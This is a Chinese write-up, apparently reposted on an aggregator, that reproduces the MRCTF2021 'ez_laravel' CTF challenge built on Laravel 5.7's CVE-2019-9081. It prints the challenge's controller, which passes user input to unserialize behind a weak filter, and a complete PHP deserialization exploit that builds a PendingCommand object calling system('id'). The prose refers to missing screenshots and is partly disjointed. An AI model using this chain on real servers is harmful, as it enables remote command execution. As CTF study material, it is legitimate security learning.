[MRCTF2021]ez_laravel复现
Posted F1ght!!
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[MRCTF2021]ez_laravel复现相关的知识,希望对你有一定的参考价值。
前言
还是之前打的mrctf,难度比较大,也是第一次正式比赛出现了lara题目,近来多数比赛,包括CISCN都习惯出lara的题目,算是比较好的框架,但当时被带的做起了,现在复现一次:
考察的是Laravel的CVE-2019-9081,影响版本为5.7.x,当时别个搜CVE也能搜出来,先下载下来,lara5.7
但lara5.7里面没有vendor,在文件夹下,用cmd命令 composer install就可产生:
开始对比:
主要差别确实就是MRCTF的www_laravel,其app/Http/Controllers下多了一个路由,也就是图中的TaskController.php
TaskCotroller.php
<?php
namespace App\\Http\\Controllers;
class TaskController
{
public function index(){
if(isset($_GET['action']) && preg_match('/serialize\\/*$/i', $_GET['action'])){
exit(1);
}
if(preg_match('/serialize/i', basename( $_GET['action']))){
if(isset($_GET['ser'])){
$ser = $_GET['ser'];
unserialize($ser);
return ;
}else{
echo "no unserialization";
return ;
}
}
}
}
?>
题目的路由文件也进行了更改:
其是一个CVE的复现,该CVE指出漏洞出现在PendingCommand.php文件中,进入该文件:
这里看到了提示,也就暗示是目标的位置,也说明就是考察CVE复现
别的文章说是要使用原生类:
所谓的反序列化函数,其反序列化的入口就是之前的/hello路由,
上图的__tostring函数触发后会返回文件名:
需要找一个把他显示出来的函数:
CVE和其他WP说是:Response.php
vendor/symfony/http-foundation/Response.php
存在这么一个方法,就是可以返回内容:
再找到wp说的所需的:
这是PendingCommand.php所在的路径:
按照WP所说找全了所需的函数,
利用是使用,实例化Filesystem, 触发__tostring里的原生类,实例化response类,调用response类里的_construct函数,来调用setcontent(),用FnStream.php里的call_user_func来执行输出文件名。
POC网上有:
给个官方可能可利用的exp:
<?php
namespace Illuminate\\Foundation\\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\\Auth\\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\\Foundation\\Application(
array(
"Illuminate\\Contracts\\Console\\Kernel"=>
array(
"concrete"=>"Illuminate\\Foundation\\Application"
)
)
);
$pendingcommand = new Illuminate\\Foundation\\Testing\\PendingCommand(
"system",array('id'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
以上是关于[MRCTF2021]ez_laravel复现的主要内容,如果未能解决你的问题,请参考以下文章